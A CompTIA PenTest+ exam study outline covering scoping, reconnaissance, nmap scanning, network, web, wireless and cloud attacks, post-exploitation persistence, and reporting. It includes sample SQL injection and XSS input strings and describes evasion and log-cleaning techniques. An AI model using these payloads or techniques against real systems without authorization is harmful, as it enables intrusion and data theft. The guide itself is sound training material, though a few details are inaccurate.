**CompTIA PenTest+ Final Study Guide from Domain Requirements**

# Domain 1: Planning and Scoping

## 1.1 Compare and contrast governance, risk, and compliance concepts

* Regulatory compliance considerations
  + **PCI DSS**
    - Use and maintain firewalls
    - Proper password protections – complex, regularly changing, no vendor defaults
    - Protect cardholder data – strong encryption during transmission of data
    - Utilize Antivirus and Anti-malware software
    - Properly updated software
    - Restrict data access – least privilege
    - Unique IDs assigned to those with access to data – no group IDs, use MFA
    - Restrict physical access
    - Create and monitor access logs
    - Test security systems on a regular basis – quarterly tests to internal and external domains and must remediate high-risk vulnerabilities and repeat until resolved
    - Document policies
  + **GDPR**
    - Covers personal information that leaves the EU
    - Defines the rights of data subjects, including rights to have information provided in understandable ways
    - Access to and information about how your personal information is being processed
    - Right to have your data erased
    - Individuals can also object to having their data processed for uses like marketing and sales
    - Data controllers and processors are required to use and support capabilities like using pseudonymization, recording processing activities, securing data, and ensuring that organizations have someone tasked with protecting data
* Location restrictions
  + **Country limitations**
  + **Tool restrictions** – some countries have restrictions on tools written in law
  + **Local laws**
  + **Local government requirements**
    - *Privacy requirements*
* Legal concepts
  + **SLAs** set the expectations for services, including things like availability, reliability, and quality of service
  + **Confidentiality**
  + **SOW** defines the purpose of the work, what work will be done, what deliverables will be created, the timeline for the work to be completed, the price for the work, and any additional terms and conditions that cover the work
  + **NDAs** protect one of more parties in the relationship and typically outline the parties, what information should be considered confidential, how long the agreement lasts, when and how disclosure is acceptable, and how confidential information should be handled
  + **MSA** defines the terms that the organization will use for future work – prevents the need to renegotiate terms
* Permission to Attack – required authorization by appropriate authority via contract – may also require third-party authorization for resources hosted by third-parties

## 1.2 Explain the importance of scoping and organizational/customer requirements

* Standards and methodologies
  + **MITRE ATT&CK Framework** (Adversarial Tactics, Techniques, and Common Knowledge framework) provides a knowledgebase of adversary tactics and techniques – includes detailed descriptions, definitions, and examples for the complete threat lifecycle from initial access through execution, persistence, privilege escalation, and exfiltration – at each level it lists techniques and components allowing threat assessment modeling to leverage common descriptions and knowledge
  + **OWASP** provides testing guides for web security, mobile security, and firmware, as well as advice on how to use other methodologies and standards
  + **NIST** provides standards that include penetration testing as part of **NIST SP 800-115**, the Technical Guide to Information Security Testing and Assessment – last update 2008
  + **OSSTMM** is another broad penetration testing methodology with information about analysis, metrics, workflows, human security, physical security, and wireless security – not updated since 2010
  + **PTES** ranges from pre-engagement interactions like scoping and questions to ask clients, to details such as how to deal with third parties – includes a full range of penetration testing techniques and concepts, making it one of the most complete and modern openly available penetration testing standards
  + **ISSAF** is a highly detailed penetration testing framework but suffers from being dated – last update 2005
* Rules of engagement
  + **Time of day**
  + **Types of allowed/disallowed tests**
  + **Other restrictions** may include data handling requirements for information gathered during the test, what behaviors to expect from the target, what resources are committed to the test, legal concerns, when and how communication will occur, who to contact in case of particular events, and who is permitted to engage the pentest team
* Environmental considerations
  + **Network**
  + **Application**
  + **Cloud**
* Target list/in-scope assets
  + **Wireless networks** require knowledge of SSIDs that belong to the target
  + **IP ranges** and subnets to avoid targeting third parties
  + **Domains**
  + **APIs**
  + **Physical locations**
  + **DNS**
  + **External vs. internal targets**
  + **First-party hosted (internal) vs. third-party hosted (external)**
* Validate scope of engagement
  + **Question the client/review contracts**
  + **Time management**
  + **Strategy**
    - *Unknown-environment testing* AKA “black box” or “zero knowledge” are intended to replicate what an attacker would actually encounter
    - *Known-environment testing* AKA “white box” or “full knowledge” are performed with full knowledge of the underlying infrastructure, technology, configurations, and settings

## 1.3 Given a scenario, demonstrate an ethical hacking mindset by maintaining professionalism and integrity

* Background checks of penetration testing team
* Adhere to specific scope of engagement
  + **Cyber Kill Chain**
    - *Reconnaissance* involves gathering OSINT and conducting initial scans of the target environment to detect potential avenues of exploitation
    - *Weaponization* involves attackers developing a specific attack tool designed to exploit the vulnerabilities identified during reconnaissance
    - *Delivery* may occur through a variety of means including exploiting a network or application vulnerability, conducting a social engineering attack, distributing malware on an infected USB drive or other media, or sending it as an email attachment or through other means
    - *Exploitation* is where the malware gains access to the targeted system or a foothold is gained on the target system
    - *Installation* includes the attacker using the initial access provided by the malware to establish permanent, or persistent, access to the target system
    - *Command and Control* involves using a remote shell or other means to remotely control the compromised system
    - *Actions on Objectives* involves using the system to advance the original objectives of their attack, including pivoting from the compromised system to other systems operated by the same organization
* Identify criminal activity
* Immediately report breaches/criminal activity
* Limit the use of tools to a particular engagement
* Limit invasiveness based on scope
* Maintain confidentiality
* Risks to the professional
  + **Fees/fines - Criminal charges**

# Domain 2: Information Gathering and Vulnerability Scanning

## 2.1 Given a scenario, perform passive reconnaissance

* DNS lookups are the first stop when gathering info
  + **WHOIS** allows you to search databases of registered users of domains and IP address blocks and provides headquarters location, contact information, and primary name servers (e.g.)
    - *AFRINIC* for Africa
    - *APNIC* for Asia-Pacific
    - *ARIN* for North America, parts of the Caribbean, and North Atlantic islands
    - *LACNIC* for Latin American and the Caribbean
    - *RIPE* for Europe, Russia, the Middle East, and parts of central Asia
  + **Host** command in Linux can provide information about a system’s IPv4/6 addresses and email (MX) servers
  + **Nslookup** queries DNSs for information about various domains and hosts or prints a list of the hosts in a domain
  + **Traceroute** in Linux is similar to ping but offers more detailed output by printing the route that a packet takes to reach the host
* Identify technical contacts
* Administrator contacts
* Cloud vs. self-hosted
* Social media scraping
  + **Key contacts/job responsibilities**
  + **Job listing/technology stack**
* Cryptographic flaws
  + **TLS/SSL certificates** can provide information about systems, domains names, and even individuals inside of an organization – more useful if out-of-date
  + **Revocation**
* Company reputation/security posture
* Data
  + **Password dumps**
  + **File metadata**
  + **Strategic search engine analysis/enumeration** using Google Hacking Database
  + **Website archive/caching** on websites such as archive.org contain point-in-time snapshots of websites and other data companies may have thought they got rid of
  + **Public source-code repositories** like GitHub
* OSINT
  + **Tools**
    - *Shodan* provides prebuilt searches as well as categories of search for industrial control systems, databases, and other common search queries
    - *Recon-ng* reduces time spent harvesting information from open resources and consists of an extensive range of modules and database interaction – useful for collating information into once centralized source for a database
  + **Sources**
    - *CWE* tackles a broad range of software weaknesses and breaks them down by research concepts, development concepts, and architectural concepts
    - *CVE* list identifies vulnerabilities by name, number, and description

## 2.2 Given a scenario, perform active reconnaissance

* Enumeration
  + **Hosts** are identified via leveraging central management systems that maintain an inventory of systems, their IP addresses, and other information – network logs and configuration files – DHCP server logs, router logs, RP tables
    - Port scanning remains the first technique testers will attempt early in an engagement
  + **Services** are identified via port scanning and banner grabbing
  + **Domains** can be identified using SNMP sweeps to scan a range of IP addresses, show which IP addresses are in use, and provide DNS name, system name, location, and contact
  + **Users** requires a great amount of work – done through exposed services like SMB and SNMP
  + **URLs**
* Website reconnaissance
  + **Crawling websites** is the process of using a tool to automatically search through websites to identify web content and directories where useful information is, or where it may be accessible but not linked
  + **Scraping websites** is similar but captures the information, web pages, and other data that are found on a site
  + **Manual inspection of web links**
    - *Robots.txt* may expose specific files, directories, or other materials on a website
* Packet Crafting is directly interacting with packets and traffic to gather information
  + **Scapy** is a CLI tool that can custom craft TCP or other packets to test for vulnerabilities or to use as part of an exploit
* Defense detection
  + **Load balancer detection** using tools like lbd (load balancing detector) to determine if there is a DNS- or HTTP-based load balancer – lbd will analyze differences in headers and responses from servers to determine if a load balancer is in place
    - Checking TTL via ping
  + **WAF detection** can be done by reviewing cookies, headers, and HTTP responses, and by looking for specific behaviors like the use of FIN/RST packets to end unwanted connections
  + **Antivirus** detection is difficult but can be done using BeEF once access is gained
  + **Firewall** can be detected using traceroutes showing where traffic no longer passes, Nmap scans – tools like Firewalk can scan to determine what protocols a firewall device will pass through
* Tokens
  + **Scoping** – tokens may specifically identify a user and then limit the actions that the user can take based on their scope, or may identify an application and limit the actions it can take in a given scope – the set of limitations and conditions set on a token that determine what it can do and where it can do it
  + **Issuing** – if you can cause the token-issuing system to issue arbitrary tokens that match your needs, or you can obtain the ability to sign your own tokens, you can then use those tokens to perform other actions
  + **Revocation** – understand how tokens can be revoked, if the application or service properly handles token revocation, and if you can avoid having a token that you have issued or acquired be revoked
* Wardriving involves attackers searching for wireless networks with vulnerabilities while moving around an area in a moving vehicle
* Network traffic
  + **Capture API requests and responses**
  + **Sniffing** using Wireshark or Kismet (wireless)
* Cloud asset discovery with use of CloudBrute can help discover a target’s cloud infrastructure for IaaS providers like Amazon, Google, and MS – can discover cloud applications and storage
* Third-party hosted services follows a similar processes to discovery of assets hosted or owned by an organization
* Detection avoidance may involve slowing down testing, using multiple scanning systems or IP addresses, faking source addresses

## 2.3 Given a scenario, analyze the results of a reconnaissance exercise

* Fingerprinting
  + **Operating Systems**
  + **Networks**
  + **Network devices**
  + **Software**
* Analyze output from:
  + **DNS lookups**
  + **Crawling websites**
  + **Network traffic**
  + **ARP traffic**
  + **Nmap scans**
  + **Web logs**

## 2.4 Given a scenario, perform vulnerability scanning

* Considerations of vulnerability scanning
  + **Time to run scans**
  + **Protocols**
  + **Network topology**
  + **Bandwidth limitations**
  + **Query throttling**
  + **Fragile systems** must be scanned using only necessary plugins – use a test environment containing copies of the same systems running on the production network and run scans against them first
  + **Non-traditional assets** include ICSs, IoT devices, specialized medical equipment, etc.
* Scan identified targets for vulnerabilities
* CVSS scores vulnerabilities on a 10-point scale rating the severity based upon 8 criteria
  + **Attack Vector (AV)**
    - *Physical (P):* physical touch/manipulation required
    - *Local (L):* physical or logical console access required
    - *Adjacent Network (A):* local network access required
    - *Network (N):* remotely exploitable vulnerability
  + **Attack Complexity (AC)**
    - *High (H):* requires specialized conditions
    - *Low (L):* does not require specialized conditions
  + **Privileges Required (PR)**
    - *High (H):* requires administrative control
    - *Low (L):* requires basic privileges
    - *None (N):* requires no prior privileges
  + **User Interaction (UI)**
    - *Required (R):* requires that a user take some action
    - *None (N):* does not require user interaction
  + **Scope (S)**
    - *Changed (C):* exploiting the vulnerability can affect other components
    - *Unchanged (U):* exploiting the vulnerability only affects resources managed by the same security authority
  + **Confidentiality Impact (C)**
    - *None (N):* no confidentiality impact – 0.00
    - *Low (L):* access to some information possible – 0.22
    - *High (H):* all information compromised – 0.56
  + **Integrity Impact (I)**
    - *None (N):* no integrity impact – 0.00
    - *Low (L):* modification of some information possible – 0.22
    - *High (H):* all information compromised – 0.56
  + **Availability Impact (A)**
    - *None (N):* no availability impact – 0.00
    - *Low (L):* performance degraded – 0.22
    - *High (H):* system shut down – 0.56
  + **CVSS** base score combines 8 criteria into a single score from 0.0 to 10.0, with the following severity descriptions:

|  |  |
| --- | --- |
| 0.0 | **None** |
| 0.1-3.9 | **Low** |
| 4.0-6.9 | **Medium** |
| 7.0-8.9 | **High** |
| 9.0-10.0 | **Critical** |

* Set scan settings to avoid detection
* Scanning methods
  + **Stealth scan** via nmap –sS <target IP>
  + **TCP connect scan** via nmap –sT <target IP>
  + **Credentialed vs. non-credentialed**
* Nmap
  + **–A** flag enables OS detection and version detection, script scanning and traceroute
  + **–sV** flag enables version detection
  + **–sT** flag performs a TCP connect scan
  + **–Pn** flag disables ping
  + **–O** flag enables OS detection
  + **–sU** flag performs a UDP scan
  + **–sS** flag performs a TCP SYN (stealth) scan – faster and does not complete the TCP handshake
  + **–T (1-5)** flag impacts speed – (0) paranoid, (1) sneaky, (2) polite, (3) normal, (4) aggressive, (5) insane
  + **–script vuln** flag runs all vulnerability scans on the target
  + **–p** flag specifies ports
* Vulnerability testing tools that facilitate automation

# Domain 3: Attacks and Exploits

## 3.1 Given a scenario, research attack vectors and perform network attacks

* Stress testing for availability (load testing) may be included in a pentest to determine if the targeted systems and services can survive a DoS scenario
* Exploit resources
  + **Exploit DB** provides a searchable database of exploits sorted by type, platform, and CVE information
  + **Packet storm** includes news as well as exploit information and code
* Attacks
  + **ARP poisoning** occurs when an attacker sends falsified ARP messages on a local network, thus providing an incorrect MAC address-to-IP pairing for the deceived system – this info is written to the target machine’s ARP cache and the attacker can then either intercept or capture and forward traffic – need to be inside the broadcast domain for a target system to successfully spoof a response
  + **Exploit chaining**
  + **Password attacks**
    - *Password spraying* uses the same password against multiple systems, servers, or sites, then moves onto the next password in a list
    - *Hash cracking* relies on tools that can identify passwords based on a captured hash
    - *Brute force* attempts every possible password using an algorithm
    - *Dictionary* uses a prebuilt dictionary of possible passwords
  + **On-path**
  + **Kerberoasting** is a technique that relies on requesting service tickets for service account service principal names (SPNs) – the tickets are encrypted with the password of the service account associated with the SPN, meaning that once you have extracted the service tickets using a tool like Mimikatz you can crack the tickets to obtain the service account password using offline cracking tools
  + **DNS cache poisoning** or DNS Cache Poisoning can allow you to redirect traffic to a different host that you control
  + **VLAN hopping** involves one of two common attacks: double tagging and switch spoofing
    - *Double Tagging* is used on 802.1q trunked interfaces where inserting a native VLAN’s tag as the first tag and the target VLAN’s tag as the second tag causes the packet to be passed by the switches on its native VLAN, with the switch on its trip reading the second tag – as a result the packet is sent to the target VLAN, since it looks like it originated on the correct source VLAN – no responses will be received
    - *Switch Spoofing* relies on making the attacking host act like a trunking switch – because the host then appears to be a switch that allows trunks, it can view traffic sent to other VLANs – like double tagging, this requires that local network devices allow the attacking host to negotiate trunks – not usually the case
  + **NAC bypass** occurs after a pentester determines what detection method the NAC system on a target network is using – typically, Kali Linux is used
  + **MAC spoofing** can be used to bypass NACs, captive portals, and security filters that rely on MAC to identify it
  + **LLMNR/NBT-NS poisoning** can be done with Responder as it can target individual systems or entire local networks, allowing you to respond to NetBIOS name services, LLMNR, and multicast DNS queries pretending to be the system that the query is intended for – once Responder sees an authentication attempt, it will capture the hash – it can also be used to relay NTLM authentication to a target and if successful can execute code

|  |  |
| --- | --- |
| **Port/Protocol** | **Service** |
| 135/TCP | MS-RPC endpoint matter (epmap) |
| 137/UDP | NetBIOS name service |
| 138/UDP | NetBIOS datagram service |
| 139/TCP | NetBIOS session service |
| 445/TCP | SMB |

* + **NTLM replay attacks** occur once a pentester has acquired NTLM hashes as they can then identify systems that do not require SMB signing (which prevents the attack) – with a list of targets in hand, Responder or other tools with similar features can be used to intercept authentication attempts and then an NTLM relay tool can be leveraged to drop Empire or another similar tool onto the target machine
* Tools
  + **Metasploit** is a key tool – in addition to exploit tools, it builds in or integrates a wide variety of other components, including vulnerability scanning and port scanning – it has a wide range of built-in exploits
  + **Netcat** is the network Swiss army knife because it can be used for things ranging from port scanning to creating a reverse shell or standing up a custom service – since the executable is very small it can also be useful as a payload exploit
  + **Nmap** is typically used to identify open ports and services, providing an initial list of targets for further exploration – paired with vulnerability scanning tools to improve a pentester’s chances of success by finding vulnerable services rather than simply identifying them

## 3.2 Given a scenario, research attack vectors and perform wireless attacks

* Attack methods
  + **Eavesdropping** focuses on capturing data that is already in transit done with a wireless sniffer tool
  + **Data modification** attempts to change data and is frequently conducted in parallel with another attack like an on-path attack
  + **Data corruption** focuses on corrupting data or traffic – Deauthentication attacks can rely on data corruption to cause a Deauthentication/reauthentication sequence
  + **Relay attacks** are specific on-path attacks that accept data, allow attackers to review and potentially modify the data, then forward the data on to its originally intended destination
  + **Spoofing**
  + **Deauthentication** sends spoofed packets attempting to get systems to disconnect from a legitimate access point and try to connect to a malicious (evil twin) access point, or force them to reauthenticate, allowing attacks against or interception of authentication traffic
  + **Jamming**
  + **Capture handshakes** is often part of a Deauthentication attack – you can attempt to crack a password or derive keys from that effort
  + **On-path**
* Attacks
  + **Evil twin**
  + **Captive portal**
  + **Bluejacking** sends unsolicited messages over Bluetooth devices
  + **Bluesnarfing** is the theft of information from Bluetooth-enabled devices – Kali includes the bluesnarfer package, which allows phonebook contact theft via Bluetooth, given a device ID or address
  + **RFID cloning**
  + **BLE attack** are typically performed on IoT and embedded devices that are harder to patch
  + **NFC amplification**
  + **WPS PIN attack**
* Tools
  + **Aircrack-ng suite** of tools provides the ability to conduct replay and Deauthentication attacks and to act as a fake access point – also provides the ability to crack WPA PSK, in addition to the normal packet capture and injection capabilities built into most wireless security tools
  + **Amplified antenna**

## 3.3 Given a scenario, research attack vectors and perform application-based attacks

* OWASP Top 10 includes injection flaws, broken authentication, sensitive data exposure, XML external entities, broken access controls, security misconfigurations, XSS, insecure deserialization, using components with known vulnerabilities, and insufficient logging and monitoring
* Server-side request forgery tricks a server into visiting a URL based on user-supplied input – they are possible when a web application accepts URLs from a user as input and then retrieves information from those URLs – if the server has access to non-public URLs, an SSRF attack can unintentionally disclose that information to an attacker
* Business logic flaws PG387
* Injection attacks
  + **SQL injection**
    - *Blind SQL* is where the attacker cannot see the results of the query – e.g. account number 52019’ OR 1=1;-- (this would match all results)
    - *Boolean SQL* e.g. account number 52019’ OR 1=2;-- (1 never equals 2 therefore the web app would return a page with no results)
    - *Stacked queries* attempt to execute multiple statements in the same query to extend the possibilities of SQL injections by use of “;”
  + **Command injection** is where application code may reach back to the OS to execute a command
  + **XSS** occurs when web applications allow an attacker to perform HTML injection, inserting their own HTML code into a web page
    - *Persistent/stored* is stored in the web page HTML code as in a forum attack that can redirect an unsuspecting user to a phishing website
    - *Reflected* e.g. inserting Mike<script>alert(‘hello’)</script> into a text box
  + **LDAP injection** attempts to insert additional code into LDAP queries with the goal of either allowing an attacker to retrieve unauthorized information from the organization’s LDAP servers or to bypass authentication mechanisms
* Application vulnerabilities
  + **Race conditions**
  + **Lack of error handling**
  + **Lack of code signing**
  + **Insecure data transmission**
  + **Session attacks**
    - *Session hijacking* is stealing an existing authenticated session
    - *CSRF* exploits the trust that remote sites have in a suer’s system to execute commands on the user’s behalf – they work by making the reasonable assumption that users are often logged into many different websites at the same time – attackers embed code into one website that sends a command to a second website – when the user clicks the link on the first site, they are unknowingly sending a command to the second site – if the user happens to be logged into that second site, the command may succeed
    - *Privilege escalation*
    - *Session replay* is equivalent to stealing a security badge – if an attacker is able to steal someone’s cookie, they may then impersonate that user to gain access to the website that issued the cookie
    - *Session fixation* exploits applications that choose to reuse the same session ID across user sessions instead of expiring it after each session
* API attacks
  + **RESTful** API is an interface that two computer systems use to exchange information securely over the internet – conforms to the design principles of the REST, or representational state transfer architectural style
  + **XML-RPC** is remote procedure calling using HTTP as the transport and XML as the encoding
  + **Soap** is a secure way to build APIs and it works by encoding data in the XML format – REST APIs are more flexible and support data transfer in different formats including XML, HTML, plain text, JSON, and more
* Directory traversal
* Tools
  + **Web proxies**
    - *OWASP ZAP* can intercept requests sent from any web browser and later them before passing them to the web server
    - *Burp suite community edition* is another interception proxy
  + **SQLmap**
  + **DirBuster** automates scanning web servers for thousands of common URLs
* Resources
  + **Word lists**

## 3.4 Given a scenario, research attack vectors and perform attacks on cloud technologies

* Attacks
  + **Credential harvesting** can be conducted in a number of ways ranging from traditional phishing campaigns to malware-based theft – direct acquisition due to breaches
  + **Privilege escalation**
  + **Account takeover**
  + **Metadata service attack** – in AWS the metadata service is used to provide temporary credentials to applications to access S3 as well as other services which provides attackers with a potential means of accessing APIs and may lead to credential acquisition opportunities – Azure’s metadata service is used to get information about running instances such as what OS it is running, its name, network interfaces and storage settings, or configurable data set for the system itself
  + **Misconfigured cloud assets**
    - *IAM*
    - *Federation misconfigurations*
    - *Object storage*
    - *Containerization technologies*
  + **Resource exhaustion**
  + **Cloud malware injection attacks** focus on on-path attacks that redirect users to attackers’ instances of cloud services
  + **DoS attacks**
  + **Side-channel attacks** rely on the ability to gain access that allows the capture of information by leveraging shared underlying hardware – IaaS deploys multiple VMs on the same hardware platform, meaning one may be able to use shared resources or compromise of the virtualization or containerization system itself to gain access to data without compromising the target system itself
  + **Direct-to-origin attacks** are a form of DoS that work to bypass content delivery networks (CDNs) or other load distribution and proxying tools and attack the underlying service infrastructure – they are intended to negate the protections and capacity provided by CDNs, allowing attackers to target a less scalable or less protected service – rely on determining the original IP address(es) of the service
* Tools
  + **SDK**

## 3.5 Explain common attacks and vulnerabilities against specialized systems

* Mobile
  + **Attacks**
    - *Reverse engineering*
    - *Sandbox analysis* involves running code or even a complete device image in a controlled environment
    - *Spamming*
  + **Vulnerabilities**
    - *Insecure storage* is unencrypted or not properly secured
    - *Passcode vulnerabilities*
    - *Certificate pinning* pairs a host with a x.509 certificate – this attack may require adding additional certificates or keys to the devices or getting users to do so to allow you to bypass a pinned certificate
    - *Using known vulnerable components*
      * **Dependency vulnerabilities** are where a component that the application or device OS relies on is vulnerable
      * **Patching fragmentation** is where many different versions result ina complex set of versions that tend to result in patches not being provided, not being compatible, or not being installed
    - *Execution of activities using root*
    - *Over-reach of permissions*
    - *Biometrics integrations*
    - *Business logic vulnerabilities* leverage business logic flaws in mobile applications, or how mobile apps may differ from normal web applications with different code bases and libraries to take advantage of
  + **Tools**
    - *Burp suite*
    - *Drozer* is a security audit and attack framework for Android devices and apps
    - *Needle* is a no-longer-supported iOS-specific security tool
    - *MobSF* is an automated Android/iOS and Windows pentest, security assessment, and malware analysis framework that can perform both SAST and DAST and supports a wide range of application binaries
    - *Postman* is an API testing tool that can perform stress testing, API functionality testing, and a variety of other API validation tasks
    - *Ettercap* is a suite of tools designed to carry out on-path attacks
    - *Frida* is an injection tool that can be used to inject JavaScript code or other libraries into native applications for both mobile (Android/iOS) and other Oss like Windows/macOS – can be used to intercept and modify JavaScript responses in applications to bypass input requirements or even authentication processes
    - *Objection* is powered by Frida and is sued to assess mobile applications and is described as a runtime mobile exploration tool that places runtime objects into running processes using Frida, allowing you to execute code inside of whatever sandbox or environment the mobile device or system has the code running in
    - *Android SDK tools* are used to build applications for Android devices
    - *Androzer*
    - *ApkX* decompile Android application packages (APKs)
    - *APK Studio* decompile Android application packages (APKs)
* IoT devices
  + **BLE attacks** include on-path, credential sniffing, spoofing via MAC address impersonation, and exploits that target pairing of devices, DoS, and jamming – many rely on insecure pairing processes that use a simple numerical value that both sides must use, and many just pass 6 zeros as their code
  + **Special considerations**
    - *Fragile environment*
    - *Availability concerns*
    - *Data corruption*
    - *Data exfiltration*
  + **Vulnerabilities**
    - *Insecure defaults*
    - *Cleartext communication*
    - *Hard-coded configurations*
    - *Outdated firmware/hardware*
    - *Data leakage*
    - *Use of insecure or outdated components*
* Data storage system vulnerabilities
  + **Misconfigurations – on-premises and cloud-based**
    - *Default/blank username/password*
    - *Network exposure*
  + **Lack of user input sanitization**
  + **Underlying software vulnerabilities**
  + **Error messages and debug handling**
  + **Injection vulnerabilities**
    - *Single quote method*
* Management interface vulnerabilities
  + **Intelligent platform management interfaces (IPMIs)** are built into or can be added to many servers and some desktop PCs and are intended for low-level system and hardware management, particularly when the system’s OS may not be fully functional or when hardware issues may have occurred
* Vulnerabilities related to SCADA/IIoT/ICS focus on use of PLCs (programmable logic interfaces) to communicate transmissions between field instrumentation to human-machine interface
* Vulnerabilities related to virtual environments
  + **VM escape** can allow a direct attack on the hypervisor
  + **Hypervisor vulnerabilities**
  + **VM repository vulnerabilities**
* Vulnerabilities related to containerized workloads focus on the application running in the containers themselves – attackers can leverage existing application or service vulnerabilities or exploit APIs to then use those exploits to conduct familiar attacks like installing tools into the containerized environment

## 3.6 Given a Scenario, perform a social engineering or physical attack

* Pretext for an approach
* Social engineering attacks
  + **Email phishing**
    - *Whaling* targets high-profile or important members of an organization, like the CEO or senior vice presidents
    - *Spear phishing* is aimed at specific individuals rather than a broader group
  + **Vishing**
  + **SMS phishing**
  + **USB drop key**
  + **Watering hole attack** focuses on compromising a site like this and modifying its code to include malware
* Physical attacks
  + **Tailgating**
  + **Dumpster diving**
  + **Shoulder surfing**
  + **Badge cloning**
* Impersonation
* Tools
  + **Authority** focuses on making the target believe that you have the power or right to ask them to perform actions or provide information
  + **Scarcity** is related to fear-based approaches but focuses on there being fewer rewards or opportunities, requiring faster action and thus creating a sense of urgency
  + **Social proof** relies on persuading the target that other people have behaved similarly and thus they should or could as well
  + **Urgency**
  + **Likeness** between the social engineer and the target is a means of building trust, as the target is set up to sympathize with the pentester due to their similarity
  + **Fear** that something will go wrong or that they will be punished if they do not respond or help is a common target

## 3.7 Given a scenario, perform post-exploitation techniques

* Post-exploitation tools
  + **Empire** is similar to Metasploit but specific to PowerShell – it allows you to run PS scripts in memory and make a connection back to your machine
  + **Mimikatz** is one of the premiere Windows post-exploitation tools that can retrieve cleartext passwords and NTLM hashes, conduct Golden Ticket attacks that make invalid Windows Kerberos sessions valid, and perform other functions that can make post-exploitation Windows hacking easier – can be run in Empire, PowerSploit, or as a Meterpreter script
  + **BloodHound** is a tool used to visualize Active Directory objects and permissions but it can’t be used by itself – you have to acquire Active Directory information and then feed it into BloodHound to allow you to analyze the data more easily – SharpHound requires you to be a domain member to run it, and it will then enumerate the AD domain
* Lateral movement
  + **Pass the hash** involves a penetration tester gaining access to a Windows system and dunping hashes for targeted authenticated user from LSASS – the pentester uses the hash via a pass the hash technique (like in Mimikatz), appearing to be the targeted user – the pentester then takes actions as the targeted user
* Network segmentation testing is important to verify that higher-security zones don’t communicate with lower-security zones – this process starts with port scanning to validate that lower-security zones can’t contact higher-security zones as well as validating firewall rules and dataflow
  + VLANs can be detected by sniffing traffic and looking for packets with VLAN information included in them like 802.1q tags
* Privilege escalation
  + **Horizontal** moves sideways to other accounts or services that have the same level of privileges – gaining access to other accounts is often aimed at accessing the data or specific rights that the account has rather than targeting advanced privileges
  + **Vertical** focuses on gaining higher privileges – may cause too many visible IOCs
* Upgrading a restrictive shell requires leveraging potential weaknesses in the restricted shell environment – you need to access the availability of common commands like ls, echo, and cd as well as programming languages like Perl and Python, and what commands are setuid commands or can be run as root using sudo
* Creating a foothold/persistence
  + **Trojan** is defined as malware that is disguised as legitimate software
  + **Backdoor** is defined as a means of bypassing security controls and/or authentication
    - *Bind shell* runs on a remote system and sets up a listener on a specific port allowing remote access – you then connect via a console tool like SSH or Netcat and execute commands on the remote system – more likely to be detected by IDS/IPS because it requires inbound connections
    - *Reverse shell* connects from the remote system back to a system of your choice – a common option when a firewall prohibits you from sending traffic to a target system but allows internally initiated traffic out
  + **Daemons** and services can be faked or malicious code can be inserted into an existing service in memory via a tool like Meterpreter to allow ongoing access to a system – installing a daemon or service will survive reboots opposed to injecting memory but injected memory is harder to detect
  + **Scheduled tasks** allow a simple way to maintain access to a system – this can allow recurring callbacks to a remote system rather than requiring a detectable service to be run
* Detection avoidance
  + **Fileless malware** requires the use of memory-resident tools inserted into legitimate processes to hide from antimalware tools while allowing attackers to take action like those processes would – **Living off the land** once access is gained with Fileless malware involves only using existing tools that are on the system
    - *PsExec* is part of the Sysinternals Windows toolkit, designed to allow administrators to run programs on remote systems via SMB on port 445 – no longer in use – Metasploit PsExec exploit embeds a payload into a service executable, connects to the ADMIN$ share, uses the Service Control Manager to start the service, loads the code into memory and runs it, and then connects back to the Metasploit machine and cleans up after itself
    - *WMI* allows for remote management and data gathering on all Windows systems – provides access to a huge variety of information ranging from Windows Defender information to SNMP to Application Inventory listings – WMI can allow for remote execution of commands, file transfers, and data gathering from files and the registry
    - *PS remoting/WinRM* allows for remote code execution via PowerShell on Windows 7+ machines
  + **Data exfiltration** techniques include covert channels (allow transfer of data against policy) like hiding data in encrypted web traffic to innocuous-appearing or commonly used sites like Google or GitHub, or even YouTube, Facebook, or Instagram, where steganography can be used to hide data in images or video, sending data via email, or by abusing protocols like DNS
  + **Covering your tracks** can be difficult – make the tools, daemons, or Trojans that you will use for long-term access appear innocuous (can use Meterpreter to store them in memory or existing processes), use encryption and encoding tools like packers, polymorphic tools that change code so that it cannot be easily detected as the same as other versions of the same attack tools – remember to modify or clean any logs if possible – conceal communications via encrypted communications, use of common protocols, and ensuring outbound communication travels to otherwise innocuous hosts
  + **Stenography** is a technique that hides data in another form like an image, audio file, or video
  + **Establishing a covert channel**
* Enumeration
  + **Users**
    - Brute force enumeration by attempting logins via a login page or system login
    - Use of forgotten password tools to identify legitimate userIDs
    - Checking for users by reviewing a Linux etc/passwd file
    - Gathering user information via Active Directory queries
    - Listing users by looking for user directories and other filesystem artifacts
    - Querying directory services for an organization
    - Gathering email addresses from OSINT queries
  + **Groups** can help pentesters find other targets who may have similar access rights or who may otherwise make sense to compromise – can help identify admin users and accounts
    - On Linux look at /etc/group
    - On Windows review Active Directory or PS by using the local Users and Groups GUI tools
  + **Forests** in MS Active Directory are the topmost container for the AD environment – enumerating them means enumerating all the objects inside an AD environment – massive data about trust relationships with other domains
  + **Sensitive data**
  + **Unencrypted data** can be found using strings to check for text that isn’t encrypted

# Domain 4: Reporting and Communication

## 4.1 Compare and contrast important components of written reports

* Report audience
  + **C-suite**
  + **Third-party stakeholders**
  + **Technical staff**
  + **Developers**
* Report contents
  + **Executive summary** should be written in a manner that conveys all the important conclusions of the report in a clear manner that is understandable to a layperson
  + **Scope details** include the scope statement from the SOW and concludes by documenting any scope changes that were mutually agreed on during the penetration testing agreement
  + **Methodology** includes technical detail explaining the types of testing performed, tools used, and observations made – no lengthy code listings, scan reports, or other tedious results
    - *Attack narrative*
  + **Findings**
    - *Risk rating (reference framework)*
    - *Risk prioritization*
    - *BIA*
  + **Metrics and measures**
  + **Remediation**
  + **Conclusion** should summarize your conclusions and make recommendations for future work
  + **Appendix** includes lengthy code listings, scan reports and other tedious results
* Storage time for report
* Secure distribution
* Note taking
  + **Ongoing documentation during test**
  + **Screenshots**
* Common themes/root causes
  + **Vulnerabilities**
  + **Observations**
  + **Lack of best practices**

## 4.2 Given a scenario, analyze the findings and recommend the appropriate remediation within a report

* Technical controls provide effective defenses against security threats
  + **System hardening**
  + **Sanitize user input/parameterize queries**
  + **Implemented multifactor authentication**
  + **Encrypt passwords**
  + **Process-level remediation**
  + **Patch management**
  + **Key rotation**
  + **Certificate management**
  + **Secrets management solution**
  + **Network segmentation**
* Administrative controls are process-driven efforts to improve security
  + **Role-based access controls**
  + **Secure software development life cycle**
  + **Minimum password requirements**
  + **Policies and procedures**
* Operational controls are practices that improve personnel security by implementing standard procedures
  + **Job rotation**
  + **Time-of-day restrictions**
  + **Mandatory vacations**
  + **User training**
* Physical controls prevent intruders from gaining physical access to a facility
